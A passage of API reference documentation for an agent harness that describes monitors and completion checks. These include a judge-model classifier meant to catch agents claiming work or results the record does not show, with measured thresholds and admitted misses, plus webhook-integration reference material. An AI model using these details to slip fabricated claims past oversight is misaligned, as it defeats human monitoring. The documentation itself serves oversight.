failures, and the controller hands the frame back once (`cap`) with `demand`,
journaled as `FailedCallDemanded`. A completion that already quotes the
flow's failure reason is spared. With no frame left or the demand spent, the
answer stands with the failures appended by `state` under `stated`. Nothing
here asks a model or reads what the claim means.

The same blindness without a failure is handed back too. Several `cell`
blocks in one reply run as one program, so a reply that makes a call, keeps
its result only for the model (printed or bound, read by nothing but
`console.*`), and calls `ctx.done` completes before the model has seen that
result. The controller refuses that completion once per run, journals
`UnobservedDemanded` with each call's flow, ordinal and result head, and
continues the frame: the next model turn reads what the cell printed, the
call results, and "Answer after reading the calls' output". A cell whose
program reads a result in a condition, in another call's input, or in the
completion itself (`if (after.exitCode === 0) ctx.done(…)`,
`ctx.done((await ctx.call(…)).stdout)`), a cell that hands a result to
anything the parse cannot see through (a function of its own, a `.then`
callback, an alias), and a cell whose calls are effects with discarded
results, are spared. Calls and completions evaluated inside `console.*`
arguments still count as program actions; merely formatting a printed result
does not. `FailedCallDemanded` takes precedence, and with no frame
left the answer stands; a refused answer is also what the run ends on when
the budget runs out before it completes again.

`Input.output` (`OutputCheck`, `{ check, cap }`) is the host's shape for the
final output. Before any demand above, `check(output, corrected)` answers a
completion with a correction note or `undefined`; the verdict is a recorded
boundary. A refused completion is handed back to the same session, with what
its cell printed and the note, and journaled as `OutputDemanded`
(`{ note, nextFrame }`). The realm and every settled call stay, so the
correction repeats no work. At most `cap` completions are handed back, and
only while a frame is left; past either the completion stands and the host
decides. `AgentAction` supplies it from the declared output schema.

## UnresolvedFailure

`import * as UnresolvedFailure from "@smthrs/harness/UnresolvedFailure"`

The failing check a completion stepped around. `exitStatus` reads a settled
call's `exitStatusKey` (`exitCode`), and `failed` and `passed` read it for a
failing or passing status;
`revisits` decides whether a later check asks about the same subject as an
earlier one; `find` finds the failing check a completion replaced rather than
answered; and `demand` states which reading failed, which one replaced it,
and what ends it. A failing check alone is not the trigger: the run itself
must have demonstrated the subject was still live by returning to it. The
failing check must also be the one the run declared (`NarrowedCheck.Check.declared`);
a read or a search that exited non-zero holds nothing (#3994).

## CompletionClaim

`import * as CompletionClaim from "@smthrs/harness/CompletionClaim"`

The sixth brake on a completion, and the only one that is not a measurement.
It declares one classifier, `completion/claim`, over the facts the harness
already holds: the task as the person stated it, the completion message,
whether the tree moved, every check the run took in its workspace as
`Evidence.checksRun` (command and outcome, newest
`checksRunLimit` (24) kept), the last check the completing frame ran with
its result clipped to the newest `outputBytes` (4 KiB), and `Evidence.callsRun`.
The latter lists the newest 30 settled calls from the durable call ledger,
including classification and reads that report no exit status. Each receipt
names the flow, bounded input subject, settlement status and structural result
summary. It records that a result was obtained without carrying its full
payload. Direct callers may omit this field for compatibility; the controller
always supplies it. It asks Jev three
questions through the `Evaluator` service. Does the completion satisfy the
person's current request, does the claim assert something the evidence does not show,
and does the claim report having run a command, or having obtained a result,
that the evidence does not record? `read` asks and returns all three
probabilities with the latency; it returns nothing only where there is no task
and no claim to form a question about, and fails with `completion_unjudged`
for every other reason it could not get an answer. The reading also carries
`asked`: the encoded evidence exactly as the transport was sent it, and every
answer as an `AgentEvent.DecisionAnswer`. The controller journals that as
`AgentEvent.DecisionSettled`; a host reader that returns no `asked` journals
the reading and no decision.

The questions are worded for Jev. A generation seat asked to judge in its
place, on a host with no gateway key, reads the refusal question's criteria
word for word and takes "names an outcome" to cover any statement the evidence
cannot confirm, so both classifiers carry a seat note (see `Evaluator.Request`
in `@smthrs/model`) that states the question's scope: runs the claim says
happened, and nothing else. Jev is not sent the note, the classifier digests
do not cover it, and no threshold moved.

The completeness question treats labeled prior conversation as context and
judges the newest request after `The person now says:`. A purely conversational
request can be satisfied by the answer itself, without a file edit, flow call
or check. A soft demand uses neutral completion-review guidance: answer the
current request in its requested format, and support only the actions and
results actually claimed. It does not allege invented work merely because
the completeness reading was low.

The controller bounds original task evidence to 8 KiB, keeping both ends so
a long history or task cannot silently discard the newest request at the end.

`CellTurn` includes later accepted instructions in the task evidence, in
admission order, with later changes taking precedence. It labels this block
with the same `The person now says:` marker used to identify the newest
request, so the original request's marker does not continue to select a
superseded instruction. It keeps the newest
4 KiB of steering separately from tool output and conversation summaries, so
compacting a transcript cannot erase the recorded change of task. Replay
rebuilds this bounded evidence from recorded steering drains; a pending,
undelivered instruction cannot change a replayed completion.

`CellTurn` records the whole completion decision at an engine boundary keyed
by the session, frame and cell digest. Replay uses that decision, including
the classifier reading and usage, so a resumed turn keeps its previous
decision without asking Jev again. Provider refusals retain their code, HTTP
status when present and detail through the journal's error schema.

**All three ask; only the third refuses.** `find` hands the completion back at
any of three heights, `disprovenAt` (0.3) or below on the first question,
`overclaimedAt` (0.8) or above on the second, `unsupportedAt` (0.5) or above on
the third, and `demand` renders the prose the next frame reads. `unrecorded`
says whether a reading is one the brake ends a run over, which is `inventedAt`
(0.85) or above on the third question and nothing else.

The split was measured using the original completeness wording, whose positive
criteria named only workspace changes and checks. A corpus of eighteen completion states over the live
gate's own planted repository, asked six times each on 2026-09-19, found the
first two questions unable to separate a lie from an honest answer: "is the
task done" at or below 0.3 fired on eight of the twelve honest completions and
two of the six lies, and an honest unchecked fix read 0.10 on it against a flat
lie's 0.22; "asserts more than the evidence shows" fired on five of the twelve
honest ones, because thin evidence shows nothing by construction. The narrow
question refused none of the twelve honest completions and ended four of the
six lies, with the highest honest reading at 0.75 and the lowest ended lie at
0.94; `inventedAt` sits between them. All three still bounce, because a bounce
costs a frame rather than an answer and is sometimes the only thing in this
package with anything to say about a completion. The verdict is narrow for the
mirror reason: a false refusal costs a run its answer, while a false pass costs
nothing here, because the five deterministic brakes still ran and the truth bar
still judges what they let through. The module's own header carries the corpus
and the two lies that still get through.

**A long claim is read one sentence at a time.** When the whole claim reads at
`unsupportedAt` or above on the third question and has more than one sentence,
`read` asks `sentenceClassifier` the same question of each sentence in one
request, and the claim's `invented` is its most invented sentence. Two graded
runs of 2026-09-26 whose container work was all on the record read 0.91 and
0.87 as whole claims and at most 0.71 and 0.73 by sentence; a fabricated
sentence appended to each read 0.94 and 0.92. The sentence reading journals
its own `decision-settled`, and a transport failure on it fails the turn as
`completion_unjudged` like the first. Each listed check in
`Evidence.checksRun` carries its `receipt`, the tail of every string it
returned, so a sentence quoting what a check printed has something to be read
against. `record` builds that list from every call that reported an exit
status, writes included, and keeps what a re-run command reported `before` when
it changed, so "failed before the fix and passed after" is on the record. A
sentence never ends inside inline code.

It never passes a claim on its own. A confident "complete" ends no run,
bypasses no other demand, and does nothing but write a journal line;
`judgeCompletion` consults it only once the five deterministic demands have
found nothing.

**It runs only where the workflow arms it.** `claimCap` defaults to 0, so no
completion is read unless the flow running the agent passes a positive cap
(Will, 2026-10-14, #3993). The measured cap for a workflow that arms it is 3.

**Armed, it never goes quiet.** Every completion with a claim is read, and
`claimCap` is the number of frames the run is _given_ to answer one, not
the number of completions that are read. The first such claim is handed
back with the demand prose, like any other completion demand; a claim with no
bounce left, because the cap is spent or because no frame remains to hand it
back to, and reading at `inventedAt` or above, fails the turn as
`claim_unproven` through `unproven`, carrying all three probabilities. One
below `inventedAt` stands there instead: it was handed back once, the run
answered, and refusing the answer as well is what destroyed honest runs. A
claim demand clears `State.bouncedCompletion` only when the reading is one the
brake would refuse, so the frame-budget notice cannot restore a sentence the
brake refused and does restore one it would have let stand. The cap stopped at
the bounce until this, and the second claim stood unread: on a real seat a run
bounced at frame 1 re-claimed the identical sentence and finished `stop` on it
over a repository whose test exits 1. Zero disarms the brake outright: no
request, no reading, no failure.

**It never falls back.** A completion Jev could not judge fails the turn as
`completion_unjudged`, carrying the reason: `unconfigured` where the host
delivered no transport, and the evaluator's own `unreachable`, `refused`,
`timeout`, `empty`, `invalid_answer` or `invalid_question` otherwise. So
`Evaluator.Evaluator` is a **required service** of `read`, of
`judgeCompletion`, of `CellTurn.run` and of `Agent.run` above them, and every
host binds a real or deliberately scripted judge at composition time.
`Evaluator.layerFromSeat(seat)` judges with a resolved subscription seat and
needs no provider API key or gateway key. A judge that fails during a run
produces `completion_unjudged`.

Offline hosts bind `Evaluator.layerScripted` and compute answers from the actual
evidence, dispatched by question id. One evaluator serves every classifier in
a composition. See the [whole-host scripted judge](https://github.com/smithersai/smithers/blob/main/flows/test/fixtures/scripted-judge.ts).
Constant approval is not a judge. `layerUnavailable()` is an explicit outage
fixture for classifier tests. The five deterministic brakes still run unchanged.

## Judgement

`import * as Judgement from "@smthrs/harness/Judgement"`

The one way this package asks Jev a question. Every reading goes through it:
the supervisor's and the completion brake's, and every relevance, compaction,
monitor and routing reading.

`measured(classifier, state)` asks through the bound `Evaluator` and returns a
`Read`: the decoded answers and an `Asked` (classifier id, digest, questions,
the state as it was sent, `DecisionAnswer`s with the provider's own
confidence, integer `latencyMs`, and `usage` when the transport reported any).
It fails with the transport's own `ClassifierError`. `read` is the fail-closed
layer over it and needs no `Evaluator` in its type: a host that binds none
fails `unconfigured`, and a transport failure fails as `Unjudged` with the
transport's code and `Evaluator.publicMessage` as its `detail`.

`perItem({ id, description, context, item, questions, concurrency?, maxStateBytes? })`
asks the same questions about each of many items. Each question is built from
the item's index, and its id is `${key}_${index}`. `classifierFor(n)` is the
classifier for `n` items, the same object for the same `n`. Its state is
`{ context, items }`. `read(context, items)` packs items in order, greedily,
into requests whose encoded state fits `maxStateBytes` (by default 262,144
bytes, the `jev` flow's ceiling). Each request numbers its items from 0, and
requests run at most `concurrency` (`Classifier.defaultConcurrency`) at once.
Answers come back one record per item in input order, with every request's
`Asked`. The first failed request fails the reading, and partial answers are
never returned. No items send no request. An item too large to send alone
fails `invalid_question`.

`recorded(engine, { name, identity, classifier, value, items }, execute)`
takes a reading inside a run through `EngineLike.record`. A success records
the value and one `decision-settled` row per request (`decision`: decided by
`jev`, usage carried). A failure records `value: null` and one
`decision-unjudged` row over `items` (`unjudgedEvent`). A replayed frame is
served the record and asks nothing. `emitRecorded` journals the decisions in
order, then the unjudged row. `task` bounds a run's task to `taskBytes`
(4,096) with both ends kept.

## Relevance

`import * as Relevance from "@smthrs/harness/Relevance"`

What a run is shown of the human-provided items it could be shown: catalog
flows and skills, chunks of instruction files such as `AGENTS.md`, and memory
rows. Each is an `Item` (`{ kind, id, text }`, `Kind` being
`AgentEvent.RelevanceKind`).

`judge(context, items)` asks Jev, through `reader` (a `Judgement.perItem`
reading with classifier `relevance/unnecessary` and one boolean
`unnecessary_<i>` per item), whether each item is unnecessary for
`context.task`. An item is withheld only at a probability at or above
`withholdAt` (0.9); everything else is kept. Each item's text is sent
head-kept to `itemBytes` (1,024), and an item that was cut is always kept:
Jev cannot be confident about text it was not shown. The `Reading` holds a
`Verdict` per item in
input order (`p`, `withheld`, and the digest of the whole text), every
request's `Asked`, `latencyMs` and summed `usage`. It fails as
`Judgement.Unjudged`, and the caller then keeps every item and journals
`decision-unjudged`.

`settled(reading, { scope, frame, source })` is the `relevance-settled` row:
ids and digests, never text. `flowItem(descriptor)` is a catalog entry as an
item, `skill` for a markdown body and `flow` otherwise, its description
marked untrusted. `chunks(documents)` splits `Document`s (`{ path, text }`)
into `Chunk`s with ids `${path}#${n}`: one per markdown heading and per
top-level list item, never inside a fence. `render(documents, withheld)` is the
project-instructions block of every chunk not withheld; `""` when nothing is
left.

## Supervisor

`import * as Supervisor from "@smthrs/harness/Supervisor"`

The reading Jev takes of a run while it is still running, off the cell loop's
hot path. Every other control reads a completion or one measured fact; this
one reads the run's shape. It declares one classifier, `supervisor/turn`, over
a `Snapshot` the controller assembles from what it already holds: the task
(with every later instruction the run accepted), the newest `recentFrames`
(3) frames as `Frame` (cell head, prose head, prints tail, each bounded by
`frameBytes`, the transition, whether the frame moved the tree), the counts the
deterministic controls keep as `Signals` (read-only and repeat streaks,
mutations, checks run and failing, unanswered failures, failed calls, demands
spent). It also carries `skills`: up to `skillLimit` (12)
Markdown skills from the frame's relevance-filtered catalog the model may
call and has not, sorted by name and offered only when `read` is in that
catalog, each a `Skill` of name, Markdown body path and the description's
first `skillBytes` (256) wrapped as untrusted data (`skill`); `called`, the
newest `calledLimit` (64) distinct flows the call ledger names; and
`jevAvailable`, whether the catalog has `jev`. A skill the relevance gate
withheld is never offered. Nothing is re-derived: the supervisor reads the
harness's evidence and never measures a second time.

One Jev call per snapshot answers every question at once; eleven are fixed.
Five are about the run, the `triggers`: `thrashing` (at or
above `thrashingAt`, 0.5), `off_target` (`on_target` at or below
`offTargetAt`, 0.5), `suspect` (at or above `suspectAt`, 0.5),
`outdated_context` and `irrelevant_context` (each at or above `contextAt`,
0.5). `triggered(reading)` names the triggers that fired. The two
`contextTriggers` never nudge: `compacting(reading)` names the ones that
fired. A reading of a context above `Compaction.judgedAbove` tokens delivers
them, and the judged run whose boundary takes that reading compacts its
context at the next frame by the marks it stored, whatever the budget, its
`compaction-settled` naming them as `causes`. A reading of a smaller context
delivers none. `crosses(reading)` is any other
trigger firing; the `supervisor` lint monitor and the offline replay both
call it, and `nudge` names the counts behind it. Five are
operational states scored on `Level` (`none`, `mild`, `strong`), each naming
the evidence it reads: `frustrated`, `anxious`, `scared`, `confused`,
`confident`. `needs_help` is a choice over `Help` (`none`, `clarification`,
`permission`, `stuck`, `risky_action`): the one word a person is shown, and it
never steers the run. Each monitor question the run's `Monitor`s add is one
more boolean, keyed `monitor_<id>` (`monitorPrefix`; `MonitorQuestions`).
`read(snapshot, extra)` asks them all and puts each monitor's probability on
`Reading.monitors` by monitor id. `classifierFor(extra)` is the classifier for
that set of monitor ids, declared once per set, and `classifier` the bare one
over the eleven fixed questions. `prose` strips fenced cells from a reply.

Recalled memory goes through `Relevance`, not `supervisor/turn`. Beside each
reading the fiber recalls past every row whose key the run has already been
shown, keeps the first `recalledLimit` (6) it has not, and asks
`Relevance.judge` about the rest as `memory` items keyed by row, with the
task and the head of the frame's prose as `recent`; the two readings run
concurrently. Rows Jev is confident the run does not need are withheld; the
rest, or every row when relevance cannot answer, go to the next boundary,
rendered by `recalledInsert`. That boundary drops any row shown since the
offer, records the keys it delivered on `SteeringDrained.memory`, and folds
them into `CellTurn.State.memoryShown`, so a row is shown to a run once.

`CellTurn` offers each frame's snapshot from the frame's own live turn
boundary to a one-slot sliding queue and continues at once; a forked fiber on
the loop's scope takes the newest snapshot, recalls, asks through
`EngineLike.record` (keyed on the session, the frame and the cell digest),
and journals, in order, the supervisor's `DecisionSettled` (the snapshot and
every answer), the memory reading's `DecisionSettled` rows, its
`RelevanceSettled` (`source: "supervisor"`) or a `DecisionUnjudged` for
`relevance/unnecessary`, the marks reading's `DecisionSettled` rows or a
`DecisionUnjudged` for `compaction/marks` (taken only above
`Compaction.judgedAbove`), and last
`AgentEvent.SupervisorSettled`, whose `monitors` holds each monitor's value
and whether it crossed, and whose `skillsCapped` is true when more than
`skillLimit` skills could have been offered. Each reading scores the run's monitors, then
`Monitor.skills` of its snapshot, then `Monitor.useJev()`. What
the run is told is the monitors' to decide: the reading records each
monitor's raw value and every crossed monitor's message, and the next
boundary that executes gates them with `Monitor.gate` against
`CellTurn.State.monitorLedger` inside its own recorded drain, only when
`CellTurn.Input.judged`. At most one monitor message is delivered, then the
recalled rows, in the drain's own `supervisor` field rather than among the
person's steering inserts; a reading is dropped as stale after that boundary.
A reading that fails on one side still delivers the other. The model reads
them above the frame's ask; the task the completion brake and later snapshots
read never includes them. Each `SupervisorSettled` states the delivery it ran
under as `steer`. `Memory` is a port with `memoryNone` behind it unless the
host adapts a store. The supervisor only recalls through it; a recall that
fails is journaled as `AgentEvent.SupervisorMemoryFailed` and the reading goes
on. The supervisor writes no memory: when `supervisor.remember` is on,
`@smthrs/agent`'s `MemoryMine` mines the run's transcript once, at run end,
and writes through `Memory.remember`.

It never falls back. A snapshot nobody could judge is journaled as
`AgentEvent.SupervisorUnjudged` with `UnjudgedReason` (`unconfigured`,
`interrupted`, or the transport's own code; an `unreachable` detail is
`Evaluator.unreachableMessage`, never the transport's text), gates no
monitor, leaves the ledger alone and reports no level. A replayed frame is never
offered, so a resumed run re-asks nothing and re-delivers exactly what its
recorded drains hold. A reading in flight when the run ends gets
`closeGraceMs` (1,500) to settle; one still unanswered is interrupted and
journaled `interrupted`, and the run never waits longer. The offline replay over
archived journals that measures the triggers' precision is
`packages/smithers/agent/harness/benchmarks/swebench/lib/jev-replay.mjs`.

## Monitor

`import * as Monitor from "@smthrs/harness/Monitor"`

What one supervisor reading can put in front of the run, and when. A
`Monitor` turns a `Supervisor.Reading` into a probability and a sentence: a
`Questioned` monitor adds one boolean question (`questionId(id)`,
`monitor_<id>`) to the supervisor's single Jev call, asked of a snapshot when
its `applies` holds; a `Derived` monitor scores answers the supervisor already
asks and costs nothing. `make(input)` fills a monitor's budget from its
kind's `budgets`: `at` (crosses when `p >= at`), `consecutive` crossed
readings before delivery, `cooldownFrames` after a delivery, `limit`
deliveries per run, and `priority`. `validate` admits a set or fails with
`InvalidMonitor` naming the first id that cannot run (`idPattern`, a duplicate
id, an id each reading adds itself (`skill_*`, `use_jev`),
`at` outside `(0, 1]`, or a count that is not a non-negative integer).

`lint()` is the supervisor's legacy nudge: it crosses exactly when
`Supervisor.crosses` does and says `Supervisor.nudge`, with no streak,
cooldown or limit. `moods()` are the stance monitors `paranoid`, `careful`,
`step_back` and `clarify`, saying `paranoidText`, `carefulText`,
`stepBackText` and `clarifyText`. `paranoid` crosses on a signal the lint
does not own: a frame whose transition is `complete` in the snapshot marks a
bounced completion and an increased demand counter. It requires strong
confidence; the rest read the emotions and help the reading already holds.
`defaults()` is both, and what `CellTurn.Input.monitors` takes when omitted.

Every reading adds two more. `skills(snapshot)` is one `skill` monitor per
offered skill (at 0.85, limit 1), id `skill_<name made safe>` with a digest
suffix when two names collide, asking whether reading `skills[i]` now would
change what the run does next; it says `skillText(name, path)`, which names
the skill and a `read` call for its body and never quotes its description.
`useJev()` is the `use_jev` lint (at 0.85, limit 2), asked only while
`jevAvailable`, for frames that print lists and choose among them by hand; it
says `useJevText`.

`questions(monitors, snapshot)` is what a snapshot adds to the call.
`evaluate` runs at reading time: a `Row` per monitor with a value, and a
`Candidate` with its rendered text per crossed one. `gate` runs at the
recorded steering drain against the durable `Ledger` (an `Entry` of
`streak`, `delivered` and `lastFrame` per id; `fresh` when absent): each row
moves its streak, each candidate is withheld for `streak`, `cooldown` or
`limit` in that order, and of the rest the highest priority takes the one
slot and the others are withheld for `slot`. `Gated` is the message, the
suppressions and the next ledger. Both halves are pure: nothing here asks,
journals or steers. `CellTurn` records the delivered id and the
suppressions on `SteeringDrained.monitor` and `suppressed`, and the ledger
on the drain, so a replay delivers exactly what it delivered the first time
and a resumed run keeps its cooldowns and limits. Delivery is silent unless
the run is judged; `DisciplineArmed.monitors` lists the armed monitors then.

## Sufficiency

`import * as Sufficiency from "@smthrs/harness/Sufficiency"`

The evidence that is already complete: the counterweight to the demands.
`remember` records one frame's failing checks against the mutation epoch they
ran in, bounded to `retained` (16); `find` finds a failing-before, passing-after
pair over one subject; and `observation` states, once per run, that the run
holds both halves of its own evidence. It asks for nothing, refuses nothing,
and spends no cap.

## VacuousVerification

`import * as VacuousVerification from "@smthrs/harness/VacuousVerification"`

The proof that was already true before anything changed. **This control is
not wired into `CellTurn`: nothing in a production run reads it, and no run
is told anything by it.** The module and
`AgentEvent.VacuousVerificationObserved` are exported so a host can wire it in
and measure it on its own. Its `stored` input reads a reserved `verification`
key out of durable state that nothing currently writes, so a host that turns
it on first decides where a run declares its verification. Once it is wired,
`find` locates the pristine-tree pass a stored verification stands on and
`observation` states the fact once per distinct input.

## TruncatedOutput

`import * as TruncatedOutput from "@smthrs/harness/TruncatedOutput"`

The truncation ledger: which bytes this run was handed as a fragment. A flow
that caps a captured stream returns the part that fit and declares the cut in
a sibling flag, and a later write of those same bytes is refused, because
there is no case in which writing a known fragment over a file is what the
caller meant. `captures` reads every truncated payload one settled call
result declares (the `flagSuffix` and `droppedSuffix` conventions beside a
named payload, or the bare `flagKey` for a single-payload flow, at or above
`minimumBytes` (1,024)); `reuse` finds the first input field carrying an earlier
capture verbatim; `refusal` states the `truncated_write` refusal; and
`retain` bounds the `Ledger` to the `retained` (16) most recent distinct captures.

## VariablesPanel

`import * as VariablesPanel from "@smthrs/harness/VariablesPanel"`

The variables panel: what the realm holds, stated every frame. A run's memory
is the set of names the realm is holding, and the model can only act on what
the prompt says about them. Every line is a name, its type, one cheap size,
and when it was last bound; nothing is serialized whole. `stamp` re-stamps
the panel `Ledger` against the bindings a frame closed on, and `render`
renders it for one frame's prompt, printing at most `bound` (64) names before it
counts instead. A binding rewritten to a value of the same type and size
reads as unchanged: the panel is a roster, and the run's own prints are what
say a value moved.

---

# @smthrs/integrations
https://smithers.sh/docs/reference/api/integrations/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/integrations/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/integrations/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/integrations/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/control`](/docs/reference/api/control/) · [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/errors`](/docs/reference/api/errors/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/notifications`](/docs/reference/api/notifications/) · [`@smthrs/plan`](/docs/reference/api/plan/)

The package exports `Core` and `GitHub` from `@smthrs/integrations`,
`@smthrs/integrations/core`, and `@smthrs/integrations/github`.
`Environment` is available through `@smthrs/integrations/Environment`.

Conventions worth knowing before the signatures:

- Clients are Effect services. Each has a tag (for example `GitHubClient`), a
  `make` constructor for direct use, and a `layer` for composition.
- Everything that speaks HTTP (`GitHubClient`, `Proxy`, `OAuthToken`) takes
  Effect's `HttpClient` from context. Provide `FetchHttpClient.layer` from
  `effect/http`, or, in a test, a client of your own that injects a transport
  fault. None of them follows a redirect: each sets the fetch transport's
  `redirect` to `"manual"` and sends no `b3` or `traceparent` header. Do not
  hand them a client wrapped in `HttpClient.followRedirects`.
- Failing Effect values fail with `Core.IntegrationError`.
- Plan-time helpers validate their arguments by throwing, the way an ordinary
  constructor does. Those throws are `SmithersError` values with codes such
  as `INVALID_INPUT`, or an `IntegrationError`, and they mean the caller has
  a bug to fix rather than a failure to journal. See
  [the errors API](/docs/reference/api/errors/) for `SmithersError`.
- Explicit configuration wins over the environment, and a passed `env` record
  replaces the ambient environment rather than layering over it.

## Example

```ts
import { GitHub } from "@smthrs/integrations"
import { Effect } from "effect"
import { FetchHttpClient } from "effect/http"

const comment = Effect.gen(function*() {
  const client = yield* GitHub.GitHubClient.make({})
  return yield* client.request("POST", "/repos/OWNER/REPO/issues/1/comments", { body: "Triaged." })
})

await Effect.runPromise(comment.pipe(Effect.provide(FetchHttpClient.layer)))
```

## Core

The service-agnostic pieces every provider builds on, exported as `Core`.

### Core.Signature

Constant-time HMAC-SHA256 verification, the check every webhook source uses.
The HMAC is WebCrypto's, so computing and verifying are Effects. A host
without WebCrypto, such as an insecure browser context, is a defect.

| Export                    | Signature                                                           | Notes                                                                                                                                                                                            |
| ------------------------- | ------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `verifySignature`         | `(options: VerifyOptions) => Effect<boolean>`                       | Accepts GitHub's `sha256=<hex>`, a bare hex digest, and a base64 digest. Succeeds with `false`, never fails, for a missing signature, an empty secret, a wrong prefix, or an undecodable digest. |
| `constantTimeEqual`       | `(left: Uint8Array, right: Uint8Array) => boolean`                  | Always scans the longer input and folds the length difference into the result, so a mismatch leaks nothing through timing.                                                                       |
| `computeHmacSha256Hex`    | `(payload: string \| Uint8Array, secret: string) => Effect<string>` | The lowercase hex digest, for signing test deliveries.                                                                                                                                           |
| `GITHUB_SIGNATURE_PREFIX` | `"sha256="`                                                         | The prefix GitHub puts in front of its hex digest.                                                                                                                                               |

`VerifyOptions` fields: `payload` (the exact bytes the provider signed, never
a re-serialized copy), `secret`, `signature` (nullable), and an optional
`prefix` that is required and stripped before decoding. Omit `prefix` to
strip an optional `sha256=` and otherwise accept a bare digest.

### Core.Channel

The binding between a provider webhook and a `@smthrs/control` `Channel`.
[How adapters sit on the control plane](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/integrations/docs/concepts/control-plane.md) explains
the contract. Decoder warnings contain only the channel and failure category;
raw exceptions and schema issues never enter logs.

| Export             | Signature                                                                           | Notes                                                                                                                                                                                                                                                               |
| ------------------ | ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `make`             | `(config: Config) => Channel`                                                       | Builds the control-plane channel for one provider webhook. A delivery whose signature does not verify fails `Unauthorized` before the decoder or `Control` is reached; the decoder's output is validated against `Core.ExternalEvent` before it leaves the channel. |
| `constantSecret`   | `(secret: Redacted<string>) => SecretResolver`                                      | Always answers with one secret, for a single-tenant deployment.                                                                                                                                                                                                     |
| `credentialSecret` | `(credentials: Credential) => SecretResolver`                                       | Resolves through the control plane's credential store.                                                                                                                                                                                                              |
| `startFlow`        | `(flowId: FlowId) => (event: ExternalEvent) => Effect<InboundResult, InvalidInput>` | A route that starts `flowId` with the event as its input.                                                                                                                                                                                                           |
| `signalRun`        | `(runId: RunId) => (event: ExternalEvent) => Effect<InboundResult, InvalidInput>`   | A route that signals `runId` with the event's signal name and payload.                                                                                                                                                                                              |

`Config` fields: `name` (the name `Channels.register` and `Channels.ingest`
address the channel by), `credential` (the journal-safe `CredentialRef`),
`secret` (a `SecretResolver`), optional `fingerprintHeaders` (non-secret
headers whose values affect the decoded event), `verify`, `decode`, `route`,
and an optional `project` that defaults to a no-op projection posting
nothing. `verify` is `(raw, secret) => boolean | Effect<boolean, unknown>`,
so it can return `Core.Signature.verifySignature(...)` directly. Only `true`
verifies; a throw, a failure or a defect refuses the delivery.

`SecretResolver` is
`(credential: Redacted<CredentialRef>) => Effect<Redacted<string>, Unauthorized>`.

### Core.ExternalEvent

The normalized event every source produces. Fields: `source` (the channel
or polling source id, defaulting to the provider name), `eventName`
(refined to a name `SignalName.eventName` could build), `correlationId`
(string or `null`), `payload` (JSON), `dedupeKey`, and `receivedAtMs`.

| Export          | Signature                                   | Notes                                                                                                                   |
| --------------- | ------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- |
| `ExternalEvent` | `Schema.Struct<...>`                        | The schema and its inferred type.                                                                                       |
| `decode`        | `(value: unknown) => Effect<ExternalEvent>` | Decodes an unknown value; fails with a schema issue. Sources run their own output through this at the ingress boundary. |

### Core.SignalName

The reserved `integration:` namespace and the mapping onto control-plane
signals and notifications.

| Export                      | Signature                                                              | Notes                                                                                                                                                                                                                                               |
| --------------------------- | ---------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `eventName`                 | `(service: string, event: string) => string`                           | Builds `integration:<service>:<event>`. The event segment may contain dots (`pull_request.opened`); neither segment may contain `:`. Both are trimmed. Throws `SmithersError` `INVALID_INPUT` for an empty or colon-bearing segment.                |
| `parse`                     | `(name: string) => { service: string; event: string } \| null`         | Splits a name back into its parts. A name `eventName` could not have produced parses as `null`.                                                                                                                                                     |
| `receivedBy`                | `(service: string) => string`                                          | The attribution stamped on a delivered signal: `integration:<service>`. Throws `INVALID_INPUT` for an empty or colon-bearing service.                                                                                                               |
| `toSignalPayload`           | `(event: ExternalEvent) => SignalPayload`                              | The control-plane signal: name plus payload.                                                                                                                                                                                                        |
| `toNotification`            | `(event: ExternalEvent, options: NotificationOptions) => Notification` | A queued `system-event` that coalesces on `<eventName>:<correlationId>` when a correlation ID exists. Uncorrelated events have no coalescing key. `options.id` defaults to the event's dedupe key; `targetLineageId` and `provenance` are required. |
| `isSegment`                 | `(value: unknown) => value is string`                                  | The one refinement constructor and parser agree on.                                                                                                                                                                                                 |
| `isEventName`               | `(value: unknown) => value is string`                                  | Whether `parse` accepts the value.                                                                                                                                                                                                                  |
| `isIntegrationSignalName`   | `(name: unknown) => name is string`                                    | Whether the name carries the reserved prefix.                                                                                                                                                                                                       |
| `INTEGRATION_SIGNAL_PREFIX` | `"integration:"`                                                       | A workflow's own signals must not use it.                                                                                                                                                                                                           |

### Core.CursorStore

Durable cursor persistence for polling sources, deliberately limited to `get`
and `set`. The contract is ordering: a proposed cursor is committed after the
batch it acknowledges has been handled.

| Export        | Signature                               | Notes                                                                                                                      |
| ------------- | --------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- |
| `CursorStore` | service tag and interface               | `get(sourceId): Effect<string \| null, IntegrationError>`; `set(sourceId, cursor): Effect<void, IntegrationError>`.        |
| `makeMemory`  | `Effect<CursorStore>`                   | Cursors live as long as the process.                                                                                       |
| `layerMemory` | `Layer<CursorStore>`                    | The in-memory store as a layer.                                                                                            |
| `makeSql`     | `Effect<CursorStore, never, SqlClient>` | Over the control database's `smithers_integration_cursors` table. Requires the migration in `Core.Migrations` to have run. |
| `layerSql`    | `Layer<CursorStore, never, SqlClient>`  | The SQL store as a layer.                                                                                                  |

### Core.Migrations

The cursor table's schema migrations. They run through
[the database API](/docs/reference/api/database/)'s migration ladder in block `8000`, after
control (`6000`) and memory (`7000`). Compose `Core.Migrations.set` with the
other sets installed in a shared control database, or use it on its own for
a separate cursor database. The same composition can reopen the database
without resetting its cursor.

| Export  | Signature           | Notes                                                                |
| ------- | ------------------- | -------------------------------------------------------------------- |
| `set`   | `MigrationSet`      | Namespace `integrations`, one migration: `0001_integration_cursors`. |
| `run`   | `Effect<void, ...>` | Applies the set.                                                     |
| `layer` | `Layer<never, ...>` | Runs `run` once as a layer.                                          |

### Core.IntegrationError

The normalized provider-error vocabulary. Details are provider-safe by
construction: no constructor in this package puts a token, an API key, or a
